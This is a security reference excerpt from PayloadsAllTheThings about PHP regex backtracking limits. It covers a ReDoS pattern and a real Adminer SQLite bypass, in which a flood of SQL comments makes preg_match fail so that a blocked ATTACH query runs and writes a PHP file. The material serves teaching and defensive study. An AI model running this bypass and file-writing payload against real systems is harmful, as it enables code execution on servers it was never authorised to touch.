Backtrack Limit

Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings. **PHP PCRE configuration options**: | Name | Default  | Note | | -------------------- | -------- | ------------------------ | | pcre.backtrack_limit |  1000000 | 100000 for `PHP < 5.3.7` | | pcre.recursion_limit |  100000 | / | | pcre.jit | 1  | / | Sometimes it is possible to force the regex to exceed more than 100 000 recursions which will cause a ReDOS and make `preg_match` returning false:

$pattern = '/(a+)+$/';
$subject = str_repeat('a', 1000) . 'b';

if (preg_match($pattern, $subject)) {
    echo "Match found";
} else {
    echo "No match";
}

**Real-Word case: Adminer SQLite RCE**: Adminer used a regular expression to prevent SQLite queries beginning with ATTACH:

$pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i";
if(preg_match($pattern, $query, $match)){
 die('error');
}

The check treated both `0` (no match) and `false` (regular expression evaluation failure) as an allowed query. An attacker could prefix an `ATTACH` query with hundreds of thousands of empty SQL comments:

<?php
$payload = <<<'SQL'
ATTACH DATABASE 'lol.php' AS lol;
CREATE TABLE lol.pwn (data text);
INSERT INTO lol.pwn (data) VALUES ('<?php phpinfo(); ?>');
SQL;

echo str_repeat("--\n", 350000) . $payload;

Processing the comments exhausted PHP PCRE's backtracking limit. `preg_match()` returned `false`, which the application confused with a clean non-match. The blocked `ATTACH` query was consequently executed.

Source: Regular Expression/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.